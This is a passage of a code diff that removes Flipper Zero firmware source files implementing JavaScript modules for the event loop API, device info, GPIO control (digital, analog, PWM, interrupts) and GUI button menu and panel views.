JsEventLoopTimerContract timer;
};
} JsEventLoopContract;
static_assert(offsetof(JsEventLoopContract, magic) == 0);
/**
* @brief Gets the FuriEventLoop owned by a JsEventLoop
*
* This function is useful in case your JS module wishes to integrate with
* the event loop without passing contracts through JS code. Your module will be
* dynamically linked to this one if you use this function, but only if JS code
* imports `event_loop` _before_ your module. An instance of `JsEventLoop` may
* be obtained via `js_module_get`.
*/
FuriEventLoop* js_event_loop_get_loop(JsEventLoop* loop);
#ifdef __cplusplus
}
#endif

View File

@@ -1,16 +0,0 @@
#include <flipper_application/api_hashtable/api_hashtable.h>
#include <flipper_application/api_hashtable/compilesort.hpp>
#include "js_event_loop_api_table_i.h"
static_assert(!has_hash_collisions(js_event_loop_api_table), "Detected API method hash collision!");
extern "C" constexpr HashtableApiInterface js_event_loop_hashtable_api_interface{
{
.api_version_major = 0,
.api_version_minor = 0,
.resolver_callback = &elf_resolve_from_hashtable,
},
js_event_loop_api_table.cbegin(),
js_event_loop_api_table.cend(),
};

View File

@@ -1,4 +0,0 @@
#include "js_event_loop.h"
static constexpr auto js_event_loop_api_table = sort(
create_array_t<sym_entry>(API_METHOD(js_event_loop_get_loop, FuriEventLoop*, (JsEventLoop*))));

View File

@@ -1,45 +0,0 @@
#include "../js_modules.h" // IWYU pragma: keep
#include <core/common_defines.h>
#include <furi_hal_version.h>
#include <power/power_service/power.h>
static void js_flipper_get_model(struct mjs* mjs) {
mjs_val_t ret = mjs_mk_string(mjs, furi_hal_version_get_model_name(), ~0, true);
mjs_return(mjs, ret);
}
static void js_flipper_get_name(struct mjs* mjs) {
const char* name_str = furi_hal_version_get_name_ptr();
if(name_str == NULL) {
name_str = "Unknown";
}
mjs_val_t ret = mjs_mk_string(mjs, name_str, ~0, true);
mjs_return(mjs, ret);
}
static void js_flipper_get_battery(struct mjs* mjs) {
Power* power = furi_record_open(RECORD_POWER);
PowerInfo info;
power_get_info(power, &info);
furi_record_close(RECORD_POWER);
mjs_return(mjs, mjs_mk_number(mjs, info.charge));
}
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
mjs_val_t sdk_vsn = mjs_mk_array(mjs);
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MAJOR));
mjs_array_push(mjs, sdk_vsn, mjs_mk_number(mjs, JS_SDK_MINOR));
mjs_val_t flipper_obj = mjs_mk_object(mjs);
*object = flipper_obj;
JS_ASSIGN_MULTI(mjs, flipper_obj) {
JS_FIELD("getModel", MJS_MK_FN(js_flipper_get_model));
JS_FIELD("getName", MJS_MK_FN(js_flipper_get_name));
JS_FIELD("getBatteryCharge", MJS_MK_FN(js_flipper_get_battery));
JS_FIELD("firmwareVendor", mjs_mk_string(mjs, JS_SDK_VENDOR_FIRMWARE, ~0, false));
JS_FIELD("jsSdkVersion", sdk_vsn);
}
return (void*)1;
}

View File

@@ -1,4 +0,0 @@
#pragma once
#include "../js_thread_i.h"
void* js_flipper_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules);

View File

@@ -1,490 +0,0 @@
#include "../js_modules.h" // IWYU pragma: keep
#include "./js_event_loop/js_event_loop.h"
#include <furi_hal_gpio.h>
#include <furi_hal_pwm.h>
#include <furi_hal_resources.h>
#include <expansion/expansion.h>
#include <limits.h>
#include <mlib/m-array.h>
#define INTERRUPT_QUEUE_LEN 16
/**
* Per-pin control structure
*/
typedef struct {
const GpioPin* pin;
bool had_interrupt;
FuriSemaphore* interrupt_semaphore;
JsEventLoopContract* interrupt_contract;
FuriHalAdcChannel adc_channel;
FuriHalPwmOutputId pwm_output;
FuriHalAdcHandle* adc_handle;
} JsGpioPinInst;
ARRAY_DEF(ManagedPinsArray, JsGpioPinInst*, M_PTR_OPLIST); //-V575
#define M_OPL_ManagedPinsArray_t() ARRAY_OPLIST(ManagedPinsArray)
/**
* Per-module instance control structure
*/
typedef struct {
FuriEventLoop* loop;
ManagedPinsArray_t managed_pins;
FuriHalAdcHandle* adc_handle;
} JsGpioInst;
/**
* @brief Interrupt callback
*/
static void js_gpio_int_cb(void* arg) {
furi_assert(arg);
FuriSemaphore* semaphore = arg;
furi_semaphore_release(semaphore);
}
/**
* @brief Initializes a GPIO pin according to the provided mode object
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* led.init({ direction: "out", outMode: "push_pull" });
* ```
*/
static void js_gpio_init(struct mjs* mjs) {
// direction variants
typedef enum {
JsGpioDirectionIn,
JsGpioDirectionOut,
} JsGpioDirection;
static const JsValueEnumVariant js_gpio_direction_variants[] = {
{"in", JsGpioDirectionIn},
{"out", JsGpioDirectionOut},
};
static const JsValueDeclaration js_gpio_direction =
JS_VALUE_ENUM(JsGpioDirection, js_gpio_direction_variants);
// inMode variants
typedef enum {
JsGpioInModeAnalog = (0 << 0),
JsGpioInModePlainDigital = (1 << 0),
JsGpioInModeInterrupt = (2 << 0),
JsGpioInModeEvent = (3 << 0),
} JsGpioInMode;
static const JsValueEnumVariant js_gpio_in_mode_variants[] = {
{"analog", JsGpioInModeAnalog},
{"plain_digital", JsGpioInModePlainDigital},
{"interrupt", JsGpioInModeInterrupt},
{"event", JsGpioInModeEvent},
};
static const JsValueDeclaration js_gpio_in_mode =
JS_VALUE_ENUM_W_DEFAULT(JsGpioInMode, js_gpio_in_mode_variants, JsGpioInModePlainDigital);
// outMode variants
typedef enum {
JsGpioOutModePushPull,
JsGpioOutModeOpenDrain,
} JsGpioOutMode;
static const JsValueEnumVariant js_gpio_out_mode_variants[] = {
{"push_pull", JsGpioOutModePushPull},
{"open_drain", JsGpioOutModeOpenDrain},
};
static const JsValueDeclaration js_gpio_out_mode =
JS_VALUE_ENUM_W_DEFAULT(JsGpioOutMode, js_gpio_out_mode_variants, JsGpioOutModeOpenDrain);
// edge variants
typedef enum {
JsGpioEdgeRising = (0 << 2),
JsGpioEdgeFalling = (1 << 2),
JsGpioEdgeBoth = (2 << 2),
} JsGpioEdge;
static const JsValueEnumVariant js_gpio_edge_variants[] = {
{"rising", JsGpioEdgeRising},
{"falling", JsGpioEdgeFalling},
{"both", JsGpioEdgeBoth},
};
static const JsValueDeclaration js_gpio_edge =
JS_VALUE_ENUM_W_DEFAULT(JsGpioEdge, js_gpio_edge_variants, JsGpioEdgeRising);
// pull variants
static const JsValueEnumVariant js_gpio_pull_variants[] = {
{"up", GpioPullUp},
{"down", GpioPullDown},
};
static const JsValueDeclaration js_gpio_pull =
JS_VALUE_ENUM_W_DEFAULT(GpioPull, js_gpio_pull_variants, GpioPullNo);
// complete mode object
static const JsValueObjectField js_gpio_mode_object_fields[] = {
{"direction", &js_gpio_direction},
{"inMode", &js_gpio_in_mode},
{"outMode", &js_gpio_out_mode},
{"edge", &js_gpio_edge},
{"pull", &js_gpio_pull},
};
// function args
static const JsValueDeclaration js_gpio_init_arg_list[] = {
JS_VALUE_OBJECT_W_DEFAULTS(js_gpio_mode_object_fields),
};
static const JsValueArguments js_gpio_init_args = JS_VALUE_ARGS(js_gpio_init_arg_list);
JsGpioDirection direction;
JsGpioInMode in_mode;
JsGpioOutMode out_mode;
JsGpioEdge edge;
GpioPull pull;
JS_VALUE_PARSE_ARGS_OR_RETURN(
mjs, &js_gpio_init_args, &direction, &in_mode, &out_mode, &edge, &pull);
GpioMode mode;
if(direction == JsGpioDirectionOut) {
static const GpioMode js_gpio_out_mode_lut[] = {
[JsGpioOutModePushPull] = GpioModeOutputPushPull,
[JsGpioOutModeOpenDrain] = GpioModeOutputOpenDrain,
};
mode = js_gpio_out_mode_lut[out_mode];
} else {
static const GpioMode js_gpio_in_mode_lut[] = {
[JsGpioInModeAnalog] = GpioModeAnalog,
[JsGpioInModePlainDigital] = GpioModeInput,
[JsGpioInModeInterrupt | JsGpioEdgeRising] = GpioModeInterruptRise,
[JsGpioInModeInterrupt | JsGpioEdgeFalling] = GpioModeInterruptFall,
[JsGpioInModeInterrupt | JsGpioEdgeBoth] = GpioModeInterruptRiseFall,
[JsGpioInModeEvent | JsGpioEdgeRising] = GpioModeEventRise,
[JsGpioInModeEvent | JsGpioEdgeFalling] = GpioModeEventFall,
[JsGpioInModeEvent | JsGpioEdgeBoth] = GpioModeEventRiseFall,
};
mode = js_gpio_in_mode_lut[in_mode | edge];
}
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
furi_hal_gpio_init(manager_data->pin, mode, pull, GpioSpeedVeryHigh);
}
/**
* @brief Writes a logic value to a GPIO pin
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* led.init({ direction: "out", outMode: "push_pull" });
* led.write(true);
* ```
*/
static void js_gpio_write(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_write_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeBool),
};
static const JsValueArguments js_gpio_write_args = JS_VALUE_ARGS(js_gpio_write_arg_list);
bool level;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_write_args, &level);
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
furi_hal_gpio_write(manager_data->pin, level);
mjs_return(mjs, MJS_UNDEFINED);
}
/**
* @brief Reads a logic value from a GPIO pin
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let button = gpio.get("pc1");
* button.init({ direction: "in" });
* if(button.read())
* print("hi button!!!!!");
* ```
*/
static void js_gpio_read(struct mjs* mjs) {
// get level
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
bool value = furi_hal_gpio_read(manager_data->pin);
mjs_return(mjs, mjs_mk_boolean(mjs, value));
}
/**
* @brief Returns a event loop contract that can be used to listen to interrupts
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let button = gpio.get("pc1");
* let event_loop = require("event_loop");
* button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
* event_loop.subscribe(button.interrupt(), function (_) { print("Hi!"); });
* event_loop.run();
* ```
*/
static void js_gpio_interrupt(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
// interrupt handling
if(!manager_data->had_interrupt) {
furi_hal_gpio_add_int_callback(
manager_data->pin, js_gpio_int_cb, manager_data->interrupt_semaphore);
furi_hal_gpio_enable_int_callback(manager_data->pin);
manager_data->had_interrupt = true;
}
// make contract
JsEventLoopContract* contract = malloc(sizeof(JsEventLoopContract));
*contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeSemaphore,
.object = manager_data->interrupt_semaphore,
.non_timer =
{
.event = FuriEventLoopEventIn,
},
};
manager_data->interrupt_contract = contract;
mjs_return(mjs, mjs_mk_foreign(mjs, contract));
}
/**
* @brief Reads a voltage from a GPIO pin in analog mode
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pot = gpio.get("pc0");
* pot.init({ direction: "in", inMode: "analog" });
* print("voltage:" pot.readAnalog(), "mV");
* ```
*/
static void js_gpio_read_analog(struct mjs* mjs) {
// get mV (ADC is configured for 12 bits and 2048 mV max)
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
uint16_t millivolts =
furi_hal_adc_read(manager_data->adc_handle, manager_data->adc_channel) / 2;
mjs_return(mjs, mjs_mk_number(mjs, (double)millivolts));
}
/**
* @brief Determines whether this pin supports PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* assert_eq(true, gpio.get("pa4").isPwmSupported());
* assert_eq(false, gpio.get("pa5").isPwmSupported());
* ```
*/
static void js_gpio_is_pwm_supported(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
mjs_return(mjs, mjs_mk_boolean(mjs, manager_data->pwm_output != FuriHalPwmOutputIdNone));
}
/**
* @brief Sets PWM parameters and starts the PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pa4 = gpio.get("pa4");
* pa4.pwmWrite(10000, 50);
* ```
*/
static void js_gpio_pwm_write(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_pwm_write_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments js_gpio_pwm_write_args =
JS_VALUE_ARGS(js_gpio_pwm_write_arg_list);
int32_t frequency, duty;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_pwm_write_args, &frequency, &duty);
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
if(furi_hal_pwm_is_running(manager_data->pwm_output)) {
furi_hal_pwm_set_params(manager_data->pwm_output, frequency, duty);
} else {
furi_hal_pwm_start(manager_data->pwm_output, frequency, duty);
}
}
/**
* @brief Determines whether PWM is running
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* assert_eq(false, gpio.get("pa4").isPwmRunning());
* ```
*/
static void js_gpio_is_pwm_running(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_pwm_is_running(manager_data->pwm_output)));
}
/**
* @brief Stops PWM
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let pa4 = gpio.get("pa4");
* pa4.pwmWrite(10000, 50);
* pa4.pwmStop();
* ```
*/
static void js_gpio_pwm_stop(struct mjs* mjs) {
JsGpioPinInst* manager_data = JS_GET_CONTEXT(mjs);
if(manager_data->pwm_output == FuriHalPwmOutputIdNone) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "PWM is not supported on this pin");
}
furi_hal_pwm_stop(manager_data->pwm_output);
}
/**
* @brief Returns an object that manages a specified pin.
*
* Example usage:
*
* ```js
* let gpio = require("gpio");
* let led = gpio.get("pc3");
* ```
*/
static void js_gpio_get(struct mjs* mjs) {
static const JsValueDeclaration js_gpio_get_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeAny),
};
static const JsValueArguments js_gpio_get_args = JS_VALUE_ARGS(js_gpio_get_arg_list);
mjs_val_t name_arg;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_gpio_get_args, &name_arg);
const char* name_string = mjs_get_string(mjs, &name_arg, NULL);
const GpioPinRecord* pin_record = NULL;
// parse input argument to a pin pointer
if(name_string) {
pin_record = furi_hal_resources_pin_by_name(name_string);
} else if(mjs_is_number(name_arg)) {
int name_int = mjs_get_int(mjs, name_arg);
pin_record = furi_hal_resources_pin_by_number(name_int);
} else {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Must be either a string or a number");
}
if(!pin_record) JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin not found on device");
if(pin_record->debug)
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "Pin is used for debugging");
// return pin manager object
JsGpioInst* module = JS_GET_CONTEXT(mjs);
mjs_val_t manager = mjs_mk_object(mjs);
JsGpioPinInst* manager_data = malloc(sizeof(JsGpioPinInst));
manager_data->pin = pin_record->pin;
manager_data->interrupt_semaphore = furi_semaphore_alloc(UINT32_MAX, 0);
manager_data->adc_handle = module->adc_handle;
manager_data->adc_channel = pin_record->channel;
manager_data->pwm_output = pin_record->pwm_output;
JS_ASSIGN_MULTI(mjs, manager) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, manager_data));
JS_FIELD("init", MJS_MK_FN(js_gpio_init));
JS_FIELD("write", MJS_MK_FN(js_gpio_write));
JS_FIELD("read", MJS_MK_FN(js_gpio_read));
JS_FIELD("readAnalog", MJS_MK_FN(js_gpio_read_analog));
JS_FIELD("interrupt", MJS_MK_FN(js_gpio_interrupt));
JS_FIELD("isPwmSupported", MJS_MK_FN(js_gpio_is_pwm_supported));
JS_FIELD("pwmWrite", MJS_MK_FN(js_gpio_pwm_write));
JS_FIELD("isPwmRunning", MJS_MK_FN(js_gpio_is_pwm_running));
JS_FIELD("pwmStop", MJS_MK_FN(js_gpio_pwm_stop));
}
mjs_return(mjs, manager);
// remember pin
ManagedPinsArray_push_back(module->managed_pins, manager_data);
}
static void* js_gpio_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
JsEventLoop* js_loop = js_module_get(modules, "event_loop");
if(M_UNLIKELY(!js_loop)) return NULL;
FuriEventLoop* loop = js_event_loop_get_loop(js_loop);
JsGpioInst* module = malloc(sizeof(JsGpioInst));
ManagedPinsArray_init(module->managed_pins);
module->adc_handle = furi_hal_adc_acquire();
module->loop = loop;
furi_hal_adc_configure(module->adc_handle);
mjs_val_t gpio_obj = mjs_mk_object(mjs);
mjs_set(mjs, gpio_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, module));
mjs_set(mjs, gpio_obj, "get", ~0, MJS_MK_FN(js_gpio_get));
*object = gpio_obj;
return (void*)module;
}
static void js_gpio_destroy(void* inst) {
furi_assert(inst);
JsGpioInst* module = (JsGpioInst*)inst;
// reset pins
for
M_EACH(item, module->managed_pins, ManagedPinsArray_t) {
JsGpioPinInst* manager_data = *item;
if(manager_data->had_interrupt) {
furi_hal_gpio_disable_int_callback(manager_data->pin);
furi_hal_gpio_remove_int_callback(manager_data->pin);
}
if(manager_data->pwm_output != FuriHalPwmOutputIdNone) {
if(furi_hal_pwm_is_running(manager_data->pwm_output))
furi_hal_pwm_stop(manager_data->pwm_output);
}
furi_hal_gpio_init(manager_data->pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_event_loop_maybe_unsubscribe(module->loop, manager_data->interrupt_semaphore);
furi_semaphore_free(manager_data->interrupt_semaphore);
free(manager_data->interrupt_contract);
free(manager_data);
}
// free buffers
furi_hal_adc_release(module->adc_handle);
ManagedPinsArray_clear(module->managed_pins);
free(module);
}
static const JsModuleDescriptor js_gpio_desc = {
"gpio",
js_gpio_create,
js_gpio_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_gpio_desc,
};
const FlipperAppPluginDescriptor* js_gpio_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,169 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/button_menu.h>
#include <toolbox/str_buffer.h>
typedef struct {
int32_t next_index;
StrBuffer str_buffer;
FuriMessageQueue* input_queue;
JsEventLoopContract contract;
} JsBtnMenuContext;
typedef struct {
int32_t index;
InputType input_type;
} JsBtnMenuEvent;
static const char* js_input_type_to_str(InputType type) {
switch(type) {
case InputTypePress:
return "press";
case InputTypeRelease:
return "release";
case InputTypeShort:
return "short";
case InputTypeLong:
return "long";
case InputTypeRepeat:
return "repeat";
default:
furi_crash();
}
}
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnMenuContext* context) {
UNUSED(context);
JsBtnMenuEvent event;
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
mjs_val_t event_obj = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, event_obj) {
JS_FIELD("index", mjs_mk_number(mjs, event.index));
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
}
return event_obj;
}
static void input_callback(void* ctx, int32_t index, InputType type) {
JsBtnMenuContext* context = ctx;
JsBtnMenuEvent event = {
.index = index,
.input_type = type,
};
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
}
static bool matrix_header_assign(
struct mjs* mjs,
ButtonMenu* menu,
JsViewPropValue value,
JsBtnMenuContext* context) {
UNUSED(mjs);
button_menu_set_header(menu, str_buffer_make_owned_clone(&context->str_buffer, value.string));
return true;
}
static bool js_button_menu_add_child(
struct mjs* mjs,
ButtonMenu* menu,
JsBtnMenuContext* context,
mjs_val_t child_obj) {
static const JsValueEnumVariant js_button_menu_item_type_variants[] = {
{"common", ButtonMenuItemTypeCommon},
{"control", ButtonMenuItemTypeControl},
};
static const JsValueDeclaration js_button_menu_item_type =
JS_VALUE_ENUM(ButtonMenuItemType, js_button_menu_item_type_variants);
static const JsValueDeclaration js_button_menu_string = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField js_button_menu_child_fields[] = {
{"type", &js_button_menu_item_type},
{"label", &js_button_menu_string},
};
static const JsValueDeclaration js_button_menu_child =
JS_VALUE_OBJECT(js_button_menu_child_fields);
ButtonMenuItemType item_type;
const char* label;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_menu_child),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&item_type,
&label);
if(status != JsValueParseStatusOk) return false;
button_menu_add_item(
menu,
str_buffer_make_owned_clone(&context->str_buffer, label),
context->next_index++,
input_callback,
item_type,
context);
return true;
}
static void js_button_menu_reset_children(ButtonMenu* menu, JsBtnMenuContext* context) {
context->next_index = 0;
button_menu_reset(menu);
str_buffer_clear_all_clones(&context->str_buffer);
}
static JsBtnMenuContext* ctx_make(struct mjs* mjs, ButtonMenu* menu, mjs_val_t view_obj) {
UNUSED(menu);
JsBtnMenuContext* context = malloc(sizeof(JsBtnMenuContext));
*context = (JsBtnMenuContext){
.next_index = 0,
.str_buffer = {0},
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnMenuEvent)),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->input_queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ButtonMenu* input, JsBtnMenuContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
furi_message_queue_free(context->input_queue);
str_buffer_clear_all_clones(&context->str_buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)button_menu_alloc,
.free = (JsViewFree)button_menu_free,
.get_view = (JsViewGetView)button_menu_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.add_child = (JsViewAddChild)js_button_menu_add_child,
.reset_children = (JsViewResetChildren)js_button_menu_reset_children,
.prop_cnt = 1,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)matrix_header_assign},
}};
JS_GUI_VIEW_DEF(button_menu, &view_descriptor);

View File

@@ -1,274 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/button_panel.h>
#include <toolbox/str_buffer.h>
typedef struct {
size_t matrix_x, matrix_y;
int32_t next_index;
StrBuffer str_buffer;
FuriMessageQueue* input_queue;
JsEventLoopContract contract;
} JsBtnPanelContext;
typedef struct {
int32_t index;
InputType input_type;
} JsBtnPanelEvent;
static const char* js_input_type_to_str(InputType type) {
switch(type) {
case InputTypePress:
return "press";
case InputTypeRelease:
return "release";
case InputTypeShort:
return "short";
case InputTypeLong:
return "long";
case InputTypeRepeat:
return "repeat";
default:
furi_crash();
}
}
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnPanelContext* context) {
UNUSED(context);
JsBtnPanelEvent event;
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
mjs_val_t event_obj = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, event_obj) {
JS_FIELD("index", mjs_mk_number(mjs, event.index));
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
}
return event_obj;
}
static void input_callback(void* ctx, int32_t index, InputType type) {
JsBtnPanelContext* context = ctx;
JsBtnPanelEvent event = {
.index = index,
.input_type = type,
};
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
}
static bool matrix_size_x_assign(
struct mjs* mjs,
ButtonPanel* panel,
JsViewPropValue value,
JsBtnPanelContext* context) {
UNUSED(mjs);
context->matrix_x = value.number;
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
return true;
}
static bool matrix_size_y_assign(
struct mjs* mjs,
ButtonPanel* panel,
JsViewPropValue value,
JsBtnPanelContext* context) {
UNUSED(mjs);
context->matrix_y = value.number;
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
return true;
}
static bool js_button_panel_add_child(
struct mjs* mjs,
ButtonPanel* panel,
JsBtnPanelContext* context,
mjs_val_t child_obj) {
typedef enum {
JsButtonPanelChildTypeButton,
JsButtonPanelChildTypeLabel,
JsButtonPanelChildTypeIcon,
} JsButtonPanelChildType;
static const JsValueEnumVariant js_button_panel_child_type_variants[] = {
{"button", JsButtonPanelChildTypeButton},
{"label", JsButtonPanelChildTypeLabel},
{"icon", JsButtonPanelChildTypeIcon},
};
static const JsValueDeclaration js_button_panel_child_type =
JS_VALUE_ENUM(JsButtonPanelChildType, js_button_panel_child_type_variants);
static const JsValueDeclaration js_button_panel_number = JS_VALUE_SIMPLE(JsValueTypeInt32);
static const JsValueObjectField js_button_panel_common_fields[] = {
{"type", &js_button_panel_child_type},
{"x", &js_button_panel_number},
{"y", &js_button_panel_number},
};
static const JsValueDeclaration js_button_panel_common =
JS_VALUE_OBJECT(js_button_panel_common_fields);
static const JsValueDeclaration js_button_panel_pointer =
JS_VALUE_SIMPLE(JsValueTypeRawPointer);
static const JsValueObjectField js_button_panel_button_fields[] = {
{"matrixX", &js_button_panel_number},
{"matrixY", &js_button_panel_number},
{"icon", &js_button_panel_pointer},
{"iconSelected", &js_button_panel_pointer},
};
static const JsValueDeclaration js_button_panel_button =
JS_VALUE_OBJECT(js_button_panel_button_fields);
static const JsValueDeclaration js_button_panel_string = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField js_button_panel_label_fields[] = {
{"text", &js_button_panel_string},
{"font", &js_gui_font_declaration},
};
static const JsValueDeclaration js_button_panel_label =
JS_VALUE_OBJECT(js_button_panel_label_fields);
static const JsValueObjectField js_button_panel_icon_fields[] = {
{"icon", &js_button_panel_pointer},
};
static const JsValueDeclaration js_button_panel_icon =
JS_VALUE_OBJECT(js_button_panel_icon_fields);
JsButtonPanelChildType child_type;
int32_t x, y;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_common),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&child_type,
&x,
&y);
if(status != JsValueParseStatusOk) return false;
switch(child_type) {
case JsButtonPanelChildTypeButton: {
int32_t matrix_x, matrix_y;
const Icon *icon, *icon_selected;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_button),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&matrix_x,
&matrix_y,
&icon,
&icon_selected);
if(status != JsValueParseStatusOk) return false;
button_panel_add_item(
panel,
context->next_index++,
matrix_x,
matrix_y,
x,
y,
icon,
icon_selected,
(ButtonItemCallback)input_callback,
context);
break;
}
case JsButtonPanelChildTypeLabel: {
const char* text;
Font font;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_label),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&text,
&font);
if(status != JsValueParseStatusOk) return false;
button_panel_add_label(
panel, x, y, font, str_buffer_make_owned_clone(&context->str_buffer, text));
break;
}
case JsButtonPanelChildTypeIcon: {
const Icon* icon;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_icon),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&icon);
if(status != JsValueParseStatusOk) return false;
button_panel_add_icon(panel, x, y, icon);
break;
}
}
return true;
}
static void js_button_panel_reset_children(ButtonPanel* panel, JsBtnPanelContext* context) {
context->next_index = 0;
button_panel_reset(panel);
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
str_buffer_clear_all_clones(&context->str_buffer);
}
static JsBtnPanelContext* ctx_make(struct mjs* mjs, ButtonPanel* panel, mjs_val_t view_obj) {
UNUSED(panel);
JsBtnPanelContext* context = malloc(sizeof(JsBtnPanelContext));
*context = (JsBtnPanelContext){
.matrix_x = 1,
.matrix_y = 1,
.next_index = 0,
.str_buffer = {0},
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnPanelEvent)),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->input_queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ButtonPanel* input, JsBtnPanelContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
furi_message_queue_free(context->input_queue);
str_buffer_clear_all_clones(&context->str_buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)button_panel_alloc,
.free = (JsViewFree)button_panel_free,
.get_view = (JsViewGetView)button_panel_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
